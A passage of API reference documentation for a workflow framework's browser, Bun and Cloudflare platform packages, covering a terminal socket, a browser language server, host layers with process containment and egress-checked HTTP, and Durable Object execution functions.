| Input         | `send` writes UTF-8 bytes, in frames of at most 64 KiB, only while `Open` with `write`. Anything sent before then, while offline, with `read` or after the end is dropped. |
| Size          | `resize` keeps only the latest size, clamped to whole numbers from 1 to 1000 columns and 500 rows, and writes it on `ready` with `write` and again when it changes.        |
| `ready`       | Opens the terminal with the host's access, and resets the reconnect count.                                                                                                 |
| `ended`       | Ends the terminal with the host's reason and closes the socket with 1000. It never redials.                                                                                |
| Final close   | 1000, 1003, 1008 and 1009 close it for good as `Closed`.                                                                                                                   |
| Other close   | 1006, 1011 and any other code go `Offline` and redial as `reconnect` decides: 1 s doubling to 30 s, 10 times; then `Closed`.                                               |
| Output throws | An `onOutput` that throws ends it as `Closed` with 1011 and logs `browser.terminal.closed`. It never redials.                                                              |
| Status stream | Starts with the current status and ends when the scope closes.                                                                                                             |

The redial is the flow engine's retry decision, not a loop of the socket's
own: `TerminalSocket.reconnect` is `TerminalProtocol.reconnect` as a
`RetryPolicy` from `@smthrs/flow`, and `RetryPolicy.schedule` decides each
delay and when to give up, as the engine decides an action's. No durable step
holds the socket, because it lives in the page that shows its bytes. The count
starts over when the host sends `ready`. Pass `reconnect` for another policy.

The socket comes from Effect's `Socket.WebSocketConstructor`, and
`TerminalSocket.layerWebSocket` provides the browser's own `WebSocket`. Delays
run on Effect's `Clock`, so a test drives them with `TestClock`. A constructor
that throws counts as a dropped connection.

```ts
import { TerminalSocket } from "@smthrs/platform-browser"

const terminal = Effect.gen(function*() {
  const connection = yield* TerminalSocket.connect(url, { onOutput: (bytes) => write.output(bytes) })
  yield* connection.resize(cols, rows)
  yield* connection.send("ls\r")
}).pipe(Effect.scoped, Effect.provide(TerminalSocket.layerWebSocket))
```

## The language server

`BrowserLanguageServer` binds `@smthrs/std`'s `LanguageServer` to
TypeScript's language service in a dedicated worker, over a read-only
workspace whose files the tab supplies: a repository at a commit, say. Its
answers are the Language Server Protocol's own shapes, as
`@smthrs/platform-node`'s `NodeLanguageServer` gives them, so a consumer
decodes one wire whichever host answered.

```ts
// In the tab: starts the worker, sends it the file list, answers its reads.
const make: (options: {
  readonly worker: () => WorkerLike
  readonly workspace: {
    readonly paths: ReadonlyArray<string>
    readonly read: (path: string) => Effect.Effect<string | undefined, unknown>
  }
  readonly timeout?: Duration.Input // default 60 seconds
  readonly concurrency?: number // reads at once, default 8
}) => Effect.Effect<LanguageServer.LanguageServer, never, Scope.Scope>

// In the worker module: the worker entry.
const serve: (options: {
  readonly typescript: typeof import("typescript")
  readonly lib: (fileName: string) => Promise<string | undefined>
  readonly limits?: { readonly files?: number; readonly bytes?: number }
}) => Fiber.Fiber<never>
```

| Request                               | Answer                                                                                                                  |
| ------------------------------------- | ----------------------------------------------------------------------------------------------------------------------- |
| `hover`                               | `{ contents: { kind: "markdown", value }, range }`: the signature in a `typescript` fence, the documentation, the tags. |
| `definition`, `implementation`        | `Location[]`; a definition in TypeScript's own lib files names a path under `/.typescript/` (`isLib`).                  |
| `references`                          | `Location[]` across every script under the file's `tsconfig.json`.                                                      |
| `documentSymbols`                     | `DocumentSymbol[]`, the file's outline, without its imports.                                                            |
| `workspaceSymbols`                    | `SymbolInformation[]`, at most 100, over the files loaded so far.                                                       |
| `diagnostics`                         | `{ kind: "full", items }`: syntactic and semantic, minus the errors that only say a package is missing.                 |
| `sync`, `close`                       | Overlay a file's text, or drop the overlay; a file the workspace lacks can be synced.                                   |
| `prepareCallHierarchy`, calls in, out | Fail with `unsupported`.                                                                                                |

- **Paths.** Requests name absolute workspace paths (`/src/index.ts` for the
  file list's `src/index.ts`), with 0-based positions; every URI in an answer
  is `uriOf` one, and `pathOf` reads it back.
- **Loading.** A request loads its file and the file's import closure:
  relative imports, `/// <reference path>`, and what `tsconfig.json`'s `paths`
  and `baseUrl` map into the workspace, resolved against the file list. The
  options are the nearest `tsconfig.json` or `jsconfig.json`, with relative
  `extends`, over defaults that allow JavaScript and JSX. `references` widens
  the program to every script under that config's directory, outside
  `node_modules`.
- **Limits.** A workspace loads at most 2,000 files and 16 MiB. A file past
  them fails with `response_too_large`; each answer's span records `files` and
  `partial`.
- **Packages.** A commit holds no `node_modules`, so diagnostics leave out a
  missing module or its declarations (2307, 2792, 7016, 2688), missing
  `@types/node` or test-runner globals (2580 to 2584, 2591 to 2593) and JSX
  without React's types (7026, 2875).
- **Failures.** A path outside the workspace is `not_found`, a file that is
  not text `binary_file`, a TypeScript crash `request_failed`; a worker that
  fails fails every waiting and later request with `provider_unavailable`; a
  request past the timeout fails with `timeout`.
- **Records.** `smithers_browser_language_server_requests` by `method` and
  `outcome`, `smithers_browser_language_server_ms` by `method`,
  `smithers_browser_language_server_files`, and a span
  `browser.language_server.<method>` per request; none carries a path or text.

[Show code intelligence in a page](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/platform-browser/docs/guides/show-code-intelligence.md) wires
it into a Vite app.

## Browser support

Every entry point bundles for a browser. No published module resolves a `node:`
built-in, `BrowserHost` included, because its `HttpClient` is Effect's `fetch`
client rather than a Node transport, so a browser-mode bundle of the root entry
point needs no polyfill and no `node:` shim. `BrowserHost.layer` is that
module's only factory, and `Crypto` is not among the five tags it provides: a
page that hashes artifacts adds `BrowserCrypto.layer` from
`@effect/platform-browser`. [The closed Host surface](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/platform-browser/docs/concepts/host-bundle.md)
covers what each tag is backed by and how the fetch client answers a redirect.

The fetch client cannot pin a connection to checked addresses, and a tab has no
name resolver, so the web tools in `@smthrs/std` (`Fetch`, `HttpPost`,
`WebFetch`) refuse here with `unsupported`. The browser mediates the tab's
network, and Smithers does not weaken its own destination check to fit:
`@smthrs/kernel`'s `HttpClient.ResolveHost` keeps its default, which refuses
every name.

Every entry point also loads in a dedicated web worker, where the engine and the
agent run: no module touches `document` or `window` while it loads. The
repository's browser contract imports each entry in a DOM-less worker, bundled
with and without the `worker` export condition.

Durable execution runs in a dedicated worker through `BrowserRuntime`; see
[The durable browser engine](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/platform-browser/docs/concepts/durable-browser-engine.md). See also the
[`@smthrs/kernel` reference](/docs/reference/api/kernel/), whose closed service list this
package's `BrowserHost` bundle fills, and
[Capabilities and the host kernel](/docs/concepts/kernel/).

---

# @smthrs/platform-bun
https://smithers.sh/docs/reference/api/platform-bun/

> **Source:** [implementation](https://github.com/smithersai/smithers/tree/main/packages/smithers/flows/platform-bun/src) · [reference source](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/platform-bun/docs/api.md) · [package docs](https://github.com/smithersai/smithers/tree/main/packages/smithers/flows/platform-bun/docs)

> **Related APIs:** [`@smthrs/database`](/docs/reference/api/database/) · [`@smthrs/jj`](/docs/reference/api/jj/) · [`@smthrs/kernel`](/docs/reference/api/kernel/) · [`@smthrs/platform-node`](/docs/reference/api/platform-node/) · [`@smthrs/sandbox`](/docs/reference/api/sandbox/)

```ts
import { BunHost } from "@smthrs/platform-bun"
import * as Effect from "effect/Effect"
import * as ChildProcess from "effect/process/ChildProcess"
import { ChildProcessSpawner } from "effect/process/ChildProcessSpawner"

const program = Effect.gen(function*() {
  const spawner = yield* ChildProcessSpawner
  return yield* spawner.string(ChildProcess.make("printf", ["hello"]))
}).pipe(Effect.provide(BunHost.layer))
```

This barrel and `BunHost` import `@effect/platform-bun` at module load. It
and the Effect Node platform packages are bundled privately, built from
`effect@4.0.5`. `effect` is a required peer at exactly `4.0.5`.

:::warning
This entry point is Node-only in the browser-bundle sense: it falls back to the
`@effect/platform-node` adapters off Bun, so it resolves `node:fs` and the other
`node:` built-ins. It runs on Bun and on Node. What it does not do is bundle for
a browser; a page composes
[`@smthrs/platform-browser`](/docs/reference/api/platform-browser/) instead.
:::

Every host bundle builds without jj. The `Jj` slot requires jj 0.39.0 or newer
and checks its executable on its first operation, which fails with `JjError`
`not_installed` or `unsupported_version` when jj is missing or older. The
contained bundles route that probe through their process spawner and retire its
ledger entry when it exits. Probe results are cached per resolved absolute
executable path and runner; contained spawners share a result only within the
same spawner instance.

## Entry points

| Import                               | Source                                                                                                                             | Platform  |
| ------------------------------------ | ---------------------------------------------------------------------------------------------------------------------------------- | --------- |
| `@smthrs/platform-bun`               | [src/index.ts](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/platform-bun/src/index.ts)                 | Bun, Node |
| `@smthrs/platform-bun/BunHost`       | [src/BunHost.ts](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/platform-bun/src/BunHost.ts)             | Bun, Node |
| `@smthrs/platform-bun/BunFileSystem` | [src/BunFileSystem.ts](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/platform-bun/src/BunFileSystem.ts) | Bun, Node |

The root entry point exports exactly four names: `BunHost` and `BunFileSystem`,
each the namespace of the module above, and [`BunRuntime`](#bunruntime) and
[`BunGarbageCollector`](#bungarbagecollector), which have no subpath of their own. `@smthrs/platform-bun/internal/*` and
`@smthrs/platform-bun/*/index` are blocked in the export map;
`@smthrs/platform-bun/package.json` is exported.

Supported runtimes are Bun >=1.4.0 and Node.js >=22.19.0.

## BunHost

The complete closed Host bundle: layers, root errors, models,
implementation identities, and platform module re-exports.

### Layers

| Export             | Signature                                                                                                   |
| ------------------ | ----------------------------------------------------------------------------------------------------------- |
| `layer`            | `Layer.Layer<BunHost \| Crypto.Crypto>`                                                                     |
| `layerAt`          | `(root: string) => Layer.Layer<BunHost \| Crypto.Crypto>`                                                   |
| `layerContained`   | `(options?: ContainedOptions) => Layer.Layer<BunHost \| Crypto.Crypto, never, ProcessLedger>`               |
| `layerContainedAt` | `(root: string, options?: ContainedOptions) => Layer.Layer<BunHost \| Crypto.Crypto, never, ProcessLedger>` |
| `layerHttpClient`  | `Layer.Layer<HttpClient>`                                                                                   |

`layer` provides all five Host services, including the runtime-independent
`Path`. `Jj` is bound to the process working directory.

`layerAt` is `layer` with `Jj` bound to `root` instead. `root` must be an
absolute path without NUL; see [BunHostError](#bunhosterror).

`layerContained` is `layer` with process containment turned on: every child is
spawned through `@smthrs/kernel`'s `ContainedSpawner` with
`ProcessReaper.layerSpawner`, including its native adapter and
`ProcessReaper.processLifecycle`. Each pipeline leg prepares a supervisor,
records its identity, and then activates the target with a
`SIGTERM`-then-`SIGKILL` deadline. The ledger retires a record only after
verified cleanup, and `@smthrs/platform-node`'s `ProcessReaper` sweeps the records a
crashed incarnation left behind while the layer is built. `Jj` is built over
that same spawner (`BunJj.layerSpawner`), so a `jj` a dead host left running is
a ledger record like any other. The `ProcessLedger` requirement is deliberate:
only the program knows whether it has a durable one.

On POSIX, `handle.pid` names the supervisor; `exitCode` and `isRunning`
describe the target. Natural target exit still cleans up children in its owned
group, including children holding output open. `detached: false` retains the
supervisor but opts out of group cleanup, signalling only the target. Use the
handle's `kill` rather than signalling its numeric pid yourself. Explicit
stopping while a grouped target is alive attempts a best-effort ancestry sweep
for escaped descendants; natural exit does not reclaim deliberately escaped
sessions. Failed cleanup fails scope close and retains its record. Ordinary
Bun runtimes are supported; compiled Bun applications are refused before
activation because they cannot launch the runtime supervisor.

`layerContainedAt` is `layerContained` with `Jj` bound to `root`
(`BunJj.layerSpawnerAt`). It refuses a root exactly as `layerAt` does.

`layerHttpClient` is the network slot every factory above installs, on its
own: `EgressHttpClient.layer(process.env)` from `@smthrs/platform-node`. A `3xx`
comes back with its `location` header intact and the second origin is never
contacted. Following a redirect is `@smthrs/kernel`'s guarded
`HttpClient.layer`, which rechecks the capability on every hop.

### BunHostError

```ts
class BunHostError extends Schema.TaggedError<BunHostError>()("@smthrs/platform-bun/BunHostError", {
  code: Schema.Literal("invalid_repository_root"),
  message: Schema.String
}) {
  readonly name: "BunHostError"
}

type BunHostErrorCode = "invalid_repository_root"
```

The refusal `layerAt` and `layerContainedAt` throw when `root` is not absolute,
the empty string included, or contains NUL. It is thrown rather than failed
because a factory runs while a program composes its layers, where there is no
fiber to fail into and a wrong root is a composition mistake, not a runtime
outcome. The check runs when the factory is called, before any layer exists.

It is this package's class rather than the `Jj` adapter's: a Bun caller
composed `BunHost` and should learn nothing about the adapter behind the `Jj`
slot from an error message. The message names the Bun factory that refused,
never `NodeJj`, and repeats at most 64 code points of the root before reporting
its true length, so a root taken from input cannot flood a log line. Branch on
`code`; the message is for a person.

### Models

| Export              | Type                                                                                  | Meaning                                                        |
| ------------------- | ------------------------------------------------------------------------------------- | -------------------------------------------------------------- |
| `BunHost`           | `FileSystem \| Path \| ChildProcessSpawner \| Jj \| HttpClient \| ProcessConfinement` | The Host services and native confinement this bundle provides. |
| `BunHostErrorCode`  | `"invalid_repository_root"`                                                           | The stable codes a factory refuses with.                       |
| `ContainedOptions`  | `ProcessReaper.SpawnerOptions & ProcessReaper.Options`                                | What a caller may configure about containment.                 |
| `implementationIds` | `Readonly<Record<HostServiceIds[number], string>>`                                    | The module behind each raw bundle Host slot.                   |

All four factories supply the shared native
[`ProcessConfinement.layer()`](/docs/reference/api/platform-node/#processconfinement).
Guarded commands use the same OS confinement on Node and Bun.

`ContainedOptions` carries three fields:

| Field      | Meaning                                                                                                               |
| ---------- | --------------------------------------------------------------------------------------------------------------------- |
| `graceMs`  | Milliseconds between the `SIGTERM` that asks a child to stop and the `SIGKILL` that makes it. Default 2000.           |
| `ownerPid` | The pid the reaper must never signal a group for. Default `process.pid`.                                              |
| `system`   | The operating-system seam the reaper reads liveness and start times through. Default: chosen from `process.platform`. |

`platform` is deliberately not part of it. The factory uses the real
`process.platform`, so the native process-group behavior and recorded identity
agree. A caller cannot describe a Windows record for an owner that actually
leads a POSIX group. For a smaller Bun composition, use
`ProcessReaper.layerSpawner` with a ledger and an underlying runtime spawner.

Each factory reads its options when it is called and splits them into the
spawner half and the reaper half, so a field meant for one can never be read by
the other and mutating the object afterwards changes neither layer.

`implementationIds` names the raw bundle implementation behind each slot rather than the
specifier you import it through, which is why the filesystem entry is
`@smthrs/platform-node/AtomicFileSystem`. Contained factories replace the
process runner with `ProcessReaper.layerSpawner`; this static table does not
describe that substitution:

```ts
{
  "effect/FileSystem": "@smthrs/platform-node/AtomicFileSystem",
  "effect/Path": "@effect/platform-bun/BunPath",
  "effect/process/ChildProcessSpawner": "@effect/platform-bun/BunChildProcessSpawner",
  "@smthrs/jj/Jj": "@smthrs/jj/bun/BunJj",
  "effect/HttpClient": "@smthrs/platform-node/EgressHttpClient"
}
```

A key is the slot's stable identity in [`@smthrs/kernel`](/docs/reference/api/kernel/)'s closed
list, which is not always the specifier the tag is imported from: the spawner
slot is `effect/process/ChildProcessSpawner` while its tag comes from
`effect/process/ChildProcessSpawner`. The keys are written as literals
rather than positions in that list, so reordering it cannot silently pair a slot
with another slot's implementation. Nothing digests the record yet:
[`@smthrs/plan`](/docs/reference/api/plan/)'s step key carries a `layers` component these values
are meant to feed, but no planner derives it from a host bundle today, so
changing one invalidates no cached step.

### Re-exports

`BunHost` re-exports these modules so a program that should reach only part of
the host has one place to take it from:

| Export                   | What it is                                                                                                                                                                |
| ------------------------ | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `AtomicFileSystem`       | `@smthrs/platform-node/AtomicFileSystem`, the filesystem implementation itself.                                                                                           |
| `BunChildProcessSpawner` | `@effect/platform-bun/BunChildProcessSpawner`.                                                                                                                            |
| `BunCrypto`              | `@effect/platform-bun/BunCrypto`, the [Effect Crypto service](https://github.com/Effect-TS/effect/blob/main/packages/platform/bun/src/BunCrypto.ts) layer.                |
| `BunFileSystem`          | This package's `BunFileSystem` module.                                                                                                                                    |
| `HostLiveness`           | `@smthrs/platform-node/HostLiveness`, the [host liveness probe](/docs/reference/api/platform-node/#liveness-and-reaping).                                                                 |
| `ProcessReaper`          | `@smthrs/platform-node/ProcessReaper`, the [contained spawner](/docs/reference/api/platform-node/#processreaperlayerspawner) and [orphan sweep](/docs/reference/api/platform-node/#liveness-and-reaping). |

`AtomicFileSystem` is in the set for the same reason `NodeHost` re-exports it:
it owns the only configuration escape hatch the filesystem slot has, and a Bun
program whose helper is elsewhere must reach
`AtomicFileSystem.layerWith` without adding
[`@smthrs/platform-node`](/docs/reference/api/platform-node/) as a second dependency.

`BunJj` is deliberately absent. It belongs to [`@smthrs/jj`](/docs/reference/api/jj/) and is
imported from there, never re-exported here.

`@effect/platform-bun/BunHttpClient` is deliberately absent too: its `layer`
follows redirects to origins the capability kernel never authorized. Take the
network slot on its own from `layerHttpClient`.

## BunFileSystem

The filesystem slot on its own.

| Export      | Signature                                 | Meaning                                                                                        |
| ----------- | ----------------------------------------- | ---------------------------------------------------------------------------------------------- |
| `layer`     | `Layer<FileSystem>`                       | The filesystem slot, carrying the kernel's atomic host extension. Is `AtomicFileSystem.layer`. |
| `layerWith` | `(options: Options) => Layer<FileSystem>` | The same filesystem against an explicitly configured helper and byte limits.                   |
| `Options`   | `AtomicFileSystem.Options`                | The helper, concurrency ceiling, timeout, and byte limits `layerWith` accepts.                 |

`layer` is `@smthrs/platform-node`'s `AtomicFileSystem.layer`, the same value
behind `NodeHost`'s filesystem slot, by identity and not by resemblance. It
carries the kernel's atomic host extension, so under
[@smthrs/kernel](/docs/reference/api/kernel/)'s `FileSystem.layer` a guarded path operation runs
descriptor-relative and no-follow instead of failing closed, and a symlink
swapped in after authorization cannot redirect it.

That extension executes its syscalls through the `smithers-jj-export` helper,
a host prerequisite. Windows is unsupported.

`layerWith` is the escape hatch for a host whose helper is outside the default
search; `SMITHERS_WORKSPACE_JJ_EXPORT_BINARY` does the same without code. `BunHost` re-exports the
same escape hatch as `AtomicFileSystem`, for parity with `NodeHost`.
`executable` is re-validated per request, because the file it names can be
replaced while the host runs; everything else is snapshotted when the layer is
built.

## BunRuntime

```ts
import { BunRuntime } from "@smthrs/platform-bun"
```

The durable flow runtime on Bun: `@smthrs/platform-node`'s
[`NativeRuntime`](/docs/reference/api/platform-node/#nativeruntime) bound to Bun's
SQLite driver and `BunHost`. Its API is `NodeRuntime`'s: `storage`, `make`,
`layer`, `layerHost`, `signalExitCode`, `defaultShutdownTimeoutMs`,
`maximumShutdownTimeoutMs`, and the `Options` and `HostOptions` types. The
[`NodeRuntime` reference](/docs/reference/api/platform-node/#noderuntime) describes
each one; invalid options throw `@smthrs/flows`' `Runtime.RuntimeConfigurationError`
with `BunRuntime` leading the message.

```ts
import { Interpreter } from "@smthrs/flows"
import { BunRuntime } from "@smthrs/platform-bun"

const host = BunRuntime.layerHost(
  { filename: ".flows/engine.db", workspaceRoot: ".", owner: { hostId: "bun-host" } },
  Interpreter.layer(Hello)
)
```

The Bun database driver loads when a database opens, not when the module loads,
because it imports `bun:sqlite`, which only Bun resolves. It opens `bun:sqlite`
itself, so a Bun program adds no `@effect/*` package for SQLite. A PostgreSQL
URL opens through the optional `@effect/sql-pg` instead.

## BunGarbageCollector

```ts
import { BunGarbageCollector } from "@smthrs/platform-bun"
```

Bun's full garbage collection, as the `MicrosandboxSandbox.GarbageCollector`
service `@smthrs/sandbox`'s Microsandbox provider gives finished command
handles back to the guest with.
[`MicrosandboxSandbox`](/docs/reference/api/sandbox/#microsandboxsandbox) says
why a machine needs it.

| Export      | What it is                                                                                                  |
| ----------- | ----------------------------------------------------------------------------------------------------------- |
| `collector` | The process's one collector: `Bun.gc(true)`, a synchronous full collection. Off Bun it fails with a defect. |
| `layer`     | Provides `collector` as `MicrosandboxSandbox.GarbageCollector`.                                             |

Every provider in the process shares `collector`, so all their command starts
count toward the same collections.

## Two services the bundle does not wrap

There is no shell service, and no runtime detection either, because Bun's
spawner _is_ the Node one. Running a command is Effect's `ChildProcess` and
`ChildProcessSpawner`, and there is nothing for a detection branch to choose
between.

There is no HTTP service either. `BunHost` provides the shared `EgressHttpClient.layer(process.env)`, so the
runtime never walks to a second origin behind the capability kernel's back.
Following a redirect is [@smthrs/kernel](/docs/reference/api/kernel/)'s guarded
`HttpClient.layer`, which rechecks the capability on every hop.

## Reading next

[@smthrs/kernel](/docs/reference/api/kernel/) owns the closed list and decorates these same tags
with capability checks. [@smthrs/platform-node](/docs/reference/api/platform-node/) and
[@smthrs/platform-browser](/docs/reference/api/platform-browser/) are the sibling bundles.
[The Host surface on Bun](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/platform-bun/docs/concepts/host-surface.md) explains what each slot
buys, [Runtime parity with Node](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/platform-bun/docs/concepts/runtime-parity.md) explains how far
the two runtimes are interchangeable, and
[Troubleshooting](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/platform-bun/docs/troubleshooting.md) lists the failures these exports
produce.

---

# @smthrs/platform-cloudflare
https://smithers.sh/docs/reference/api/platform-cloudflare/

> **Source:** [implementation](https://github.com/smithersai/smithers/tree/main/packages/smithers/flows/platform-cloudflare/src) · [reference source](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/platform-cloudflare/docs/api.md) · [package docs](https://github.com/smithersai/smithers/tree/main/packages/smithers/flows/platform-cloudflare/docs)

> **Related APIs:** [`@smthrs/artifacts`](/docs/reference/api/artifacts/) · [`@smthrs/canonical`](/docs/reference/api/canonical/) · [`@smthrs/crypto`](/docs/reference/api/crypto/) · [`@smthrs/database`](/docs/reference/api/database/) · [`@smthrs/engine-store`](/docs/reference/api/engine-store/) · [`@smthrs/flow`](/docs/reference/api/flow/) · [`@smthrs/flows`](/docs/reference/api/flows/) · [`@smthrs/jj`](/docs/reference/api/jj/) · [`@smthrs/journal`](/docs/reference/api/journal/) · [`@smthrs/run-store`](/docs/reference/api/run-store/) · [`@smthrs/sandbox`](/docs/reference/api/sandbox/)

```ts
import {
  CloudflareHost,
  CloudflareRuntime,
  ContainerSession,
  ContainerTerminal,
  EdgeCache,
  ExecutionObject,
  SandboxObject
} from "@smthrs/platform-cloudflare"
```

The package has one entry point, its root. It imports no `node:` built-in and
no `cloudflare:` module, so it bundles for workerd and runs under Node.

## CloudflareHost

The closed Host surface for a Worker or a Durable Object.

### `CloudflareHost.layer`

```ts
const layer: Layer.Layer<CloudflareHost>
```

Provides `FileSystem`, `Path`, `ChildProcessSpawner`, `Jj`, `HttpClient`,
`Crypto` and `OwnerIdentity`. `Crypto` is `WebCrypto.layer` from
`@smthrs/crypto`. See [the Cloudflare Host surface](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/platform-cloudflare/docs/concepts/host-surface.md) for what each one does.

A Worker's `fetch` goes through Cloudflare's network, which a Worker cannot pin
to checked addresses, and a Worker has no name resolver. So the web tools in
`@smthrs/std` (`Fetch`, `HttpPost`, `WebFetch`) refuse here with `unsupported`,
and `@smthrs/kernel`'s `HttpClient.ResolveHost` keeps its default, which
refuses every name. Smithers' destination check is never weakened to fit.

### `CloudflareHost.CloudflareHost`

```ts
type CloudflareHost =
  | FileSystem
  | Path.Path
  | ChildProcessSpawner
  | Jj.Jj
  | HttpClient
  | Crypto.Crypto
  | OwnerIdentity.OwnerIdentity
```

The services `layer` provides.

## CloudflareRuntime

### `CloudflareRuntime.layer`

```ts
const layer: <Registered, RegistrationError, RegistrationRequirements>(
  options: CloudflareRuntime.Options,
  registerFlows: Layer.Layer<Registered, RegistrationError, RegistrationRequirements>
) => Layer.Layer<…, RegistrationError, SqlClient | RegistrationRequirements>
```

The durable engine for one execution, with `registerFlows` registered:
`@smthrs/flows`' `Runtime.layer` over `CloudflareHost.layer`, with

- `owner: { hostId }` and `isAlive: Ownership.singleIncarnationLiveness` from
  `@smthrs/run-store`: an owner with the claimant's host id and another
  incarnation is an earlier incarnation of the same Durable Object, and dead;
  every other owner, the claimant included, is judged by its lease;
- `canExecute` true only for the run whose id is `executionId`;
- `sweep: { host: executionId }`: no background sweep and no lease renewal;
- `StepBoundary.layerUnsupported` and `WorkspaceSandbox.layerUnsupported`.

It provides everything `Runtime.layer` provides, `FlowRuntime`,
`EngineStore.Driver`, `RunStore` and `DurableEngineState` among them, and requires the `SqlClient` the engine
writes to (`@smthrs/database`'s `PostgresDatabase.layer`) and whatever
`registerFlows` needs beyond the engine. Build it inside the invocation that
drives the execution.

### `CloudflareRuntime.Options`

```ts
interface Options {
  readonly hostId: string
  readonly executionId: string
}
```

- `hostId`: the Durable Object, the same for every incarnation of it. Pass
  `ctx.id.toString()`.
- `executionId`: the one execution this runtime drives.

## ExecutionObject

The per-execution Durable Object, as functions a Durable Object delegates to.
See [the execution lifecycle](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/platform-cloudflare/docs/concepts/execution-lifecycle.md).

### `ExecutionObject.start`

```ts
const start: <A, E, R, RS>(
  storage: ExecutionObject.Storage<RS>,
  value: ExecutionObject.Intent,
  effect: Effect.Effect<A, E, R>
) => Effect.Effect<A, E | ExecutionObject.IntentConflict, R | RS>
```

Stores the intent and arms the alarm at now plus `startGraceMs`, runs `effect`,
then moves the alarm to now. Returns `effect`'s result, or its failure
unchanged. The same intent again stores nothing and runs `effect` again;
another intent for the same object fails with `IntentConflict` before anything
is stored or run. An intent's `origin`, the door and actor kind `intent` read
from the caller's `RunMetrics.CurrentOrigin` (`@smthrs/flow`), is not part of
its identity: the alarm admits the run under it, so the run's usage metrics
carry it, and a second start with another origin is the same intent.

### `ExecutionObject.wake`

```ts
const wake: <RS>(storage: ExecutionObject.Storage<RS>) => Effect.Effect<boolean, never, RS>
```

Moves the alarm to now when an intent is stored and answers `true`; answers
`false` and arms nothing when none is. Another object's `alarm` calls it
through its `Router` when its drive made this execution due. So does whoever
completes a deferred the execution waits on, or cancels it.

### `ExecutionObject.alarm`

```ts
const alarm: <E, R, RS, RE = never, RR = never>(
  storage: ExecutionObject.Storage<RS>,
  options: {
    readonly flows: ReadonlyArray<Flow.Any>
    readonly runtime: (intent: ExecutionObject.Intent) => Layer.Layer<ExecutionObject.Services, E, R>
    readonly router: ExecutionObject.Router<RE, RR>
    readonly settledRetentionMs?: number | undefined
    readonly driveBudgetMs?: number | undefined
  }
) => Effect.Effect<ExecutionObject.Outcome, never, R | RS | RR>
```

Counts the attempt and arms the alarm one backoff away, builds
`runtime(intent)` in this alarm's scope, drives the flow named by the intent
once with `EngineStore.drive` within `driveBudgetMs` (default
`ExecutionObject.defaultDriveBudgetMs`, 600 seconds; the class passes
`ExecutionObject.driveBudget`), then routes:

- the round a handoff admitted, and the current round of each child lineage
  linked to the round just driven (to every round of the lineage once its
  last round settled): `router.start` with its intent, read from the store,
  when it is `pending` and due, and `router.wake` when it was started and is
  due now, such as one asked to cancel;
- when the execution settled and is the last round of its lineage, each parent
  due now: `router.wake`.

Then it clears the count and records when the execution settled, arming the
alarm for the end of its retention window (settled), or arms it for the
engine's next wake (parked), reading `EngineStore.nextWake` once more after
arming so a wake that landed during the alarm is kept, or arms it for now
(yielded: the drive spent its budget at a step boundary, see
[The drive budget](https://github.com/smithersai/smithers/blob/main/packages/smithers/flows/platform-cloudflare/docs/concepts/execution-lifecycle.md#the-drive-budget)). Never fails: a failure,
a router call's included, is `Retrying`. `flows` must list every flow an
execution may start as a child or hand off to.

An object that recorded its settlement builds no runtime again. Before
`settledRetentionMs` (default `ExecutionObject.settledRetentionMs`, one day)
has passed since the settlement, its alarm arms itself for that moment and
answers `Settled`. After, it deletes the intent, the count and the settlement,
deletes the alarm and answers `Forgotten`: the object's storage is empty.

### `ExecutionObject.Router`

```ts
interface Router<E = never, R = never> {
  readonly start: (intent: ExecutionObject.Intent) => Effect.Effect<void, E, R>
  readonly wake: (executionId: string) => Effect.Effect<void, E, R>
}
```

How one object reaches another, both named by execution id: `start` calls
`ExecutionObject.start` on the object named by `intent.executionId` with
nothing for the caller's effect, and `wake` calls `ExecutionObject.wake` on the
object named by `executionId`. Both must be idempotent. Supply it over the
class's own namespace binding.

### `ExecutionObject.intent`

```ts
const intent: <F extends Flow.Any>(
  flow: F,
  options: { readonly executionId: string; readonly payload: Flow.PayloadSchema<F>["Type"] }
) => Effect.Effect<ExecutionObject.Intent, Schema.SchemaError, Flow.PayloadSchema<F>["EncodingServices"]>
```

Builds an intent, encoding the payload with the flow's own JSON codec, the one
`alarm` decodes it with. Fails with `SchemaError` for a payload the schema
refuses or an empty execution id.

### `ExecutionObject.Intent`

```ts
const Intent: Schema.Struct<{
  flow: Schema.NonEmptyString
  executionId: Schema.NonEmptyString
  payload: Schema.Json
}>
type Intent = typeof Intent.Type
```

What the object runs. It is stored as its canonical JSON, so equal intents are
equal strings.

### `ExecutionObject.Storage`

```ts
interface Storage<R = never> {
  readonly get: <A = unknown>(key: string) => Effect.Effect<A | undefined, never, R>
  readonly put: <A>(key: string, value: A) => Effect.Effect<void, never, R>
  readonly delete: (key: string) => Effect.Effect<boolean, never, R>
  readonly setAlarm: (scheduledTime: number) => Effect.Effect<void, never, R>
  readonly deleteAlarm: () => Effect.Effect<void, never, R>
}
```

The slice of Durable Object storage the functions use. An Alchemy
`DurableObjectState`'s `storage` satisfies it with `R = RuntimeContext`; a plain
object wraps its Promise methods in `Effect.promise`.

### `ExecutionObject.Outcome`

```ts
type Outcome =
  | { readonly _tag: "Idle" }
  | { readonly _tag: "Settled"; readonly forgetAtMs: number }
  | { readonly _tag: "Parked"; readonly wakeAtMs: number | null }
  | { readonly _tag: "Yielded" }
  | { readonly _tag: "Retrying"; readonly attempt: number; readonly retryAtMs: number; readonly failure: string }
  | { readonly _tag: "Forgotten" }
```

What one alarm did. `forgetAtMs` is when the settled object forgets its
intent. `Yielded` is a drive that spent its budget; the alarm is armed for
now. `failure` is the tag of what failed, never its message.

### `ExecutionObject.Services`

```ts
type Services = EngineStore.Driver | RunStore.RunStore | DurableEngineState.DurableEngineState
```

What `alarm` reads from the runtime it builds: `@smthrs/engine-store`'s
`EngineStore.Driver`, which `EngineStore.drive` uses, and the stores it reads
the next wake and the routes from. `CloudflareRuntime.layer` provides all three.

### `ExecutionObject.IntentConflict`

